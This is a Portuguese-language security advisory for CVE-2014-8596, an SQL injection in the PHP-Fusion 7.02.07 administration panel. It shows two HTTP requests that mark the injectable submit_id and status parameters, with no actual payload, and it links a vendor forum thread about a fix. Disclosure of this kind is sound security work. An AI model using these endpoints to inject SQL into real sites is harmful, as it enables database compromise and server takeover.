Conforme os testes de segurança realizados em um CMS (Sistema de gerenciamento de conteúdo em português) chamado PHP-Fusion detectamos a presença de algumas falhas de segurança no painel de administração do CMS, conforme os CVE’s são separados por tipos de falhas, registramos dois CVE’s, e este artigo trata-se da exposição da falha de SQL Injection, ou comumente chamada de injeção de comandos SQL.
A abrangência desta vulnerabilidade depende de alguns fatores, como os fatores podem impactar atacantes de obterem acesso imediato ao servidor da aplicação, devido ao atacante ter de obter acesso ao painel de administração do website, além da aplicação de SGBD (MySQL no caso) ter ou não, permissão de escrita nos diretórios do Web Server, resolvemos tornar pública antes da correção da falha na aplicação.
Descrição da plataforma segundo o website do fabricante
PHP-Fusion é um sistema Open-Source de gerenciamento de conteúdo (CMS) leve escrito em PHP.
O PHP-Fusion utiliza um banco de dados MySQL para armazenar o conteúdo do site e inclui um sistema de gestão simples, porém abrangente e completo para gerenciar seus websites.
Interface web da aplicação
A falha de segurança
# Software: PHP-Fusion
# Versão: 7.02.07 [Download] [Download do Fabricante]
# Empresa: PHP-Fusion Inc
# Website: www.php-fusion.co.uk
# Vulnerabilidade: SQL Injection (Injeções de comandos SQL)
# CVE: CVE-2014-8596
# Autor: Mauricio Corrêa
GET /PHP-Fusion/files/administration/submissions.php?action=2&aid=9b23a9871adc75cd&submit_id=1[SQL Injection]&t=n HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: fusion68fF5_user=1.1414718441.a8ab620bccfcc51e12da05d5ab81734a44f1cabd25f620b17122152bf157283f; fusion68fF5_lastvisit=1414550801; session_id_8000=e987f4ac3b66045a9ce1ee9343c9a619dab98eb9; fusion68fF5_visited=yes; has_js=1;
Connection: keep-alive
============================================================================================
GET /PHP-Fusion/files/administration/members.php?aid=9b23a9871adc75cd&status=4[SQL Injection] HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: fusion68fF5_user=1.1414718441.a8ab620bccfcc51e12da05d5ab81734a44f1cabd25f620b17122152bf157283f; fusion68fF5_lastvisit=1414550801; session_id_8000=e987f4ac3b66045a9ce1ee9343c9a619dab98eb9;; fusion68fF5_visited=yes; has_js=1;
Connection: keep-alive
Para a confirmação da falha, resolvemos fazer novamente o download da aplicação modificando o servidor (mirror de download), e testamos as mesmas falhas em outra instalação, conforme podemos ver na imagem a seguir,
O fabricante do software foi alertado das falhas de segurança, segundo postagens em um Fórum oficial do PHP-Fusion uma possível correção pode ser encontrada aqui: https://www.php-fusion.co.uk/forum/viewthread.php?thread_id=35600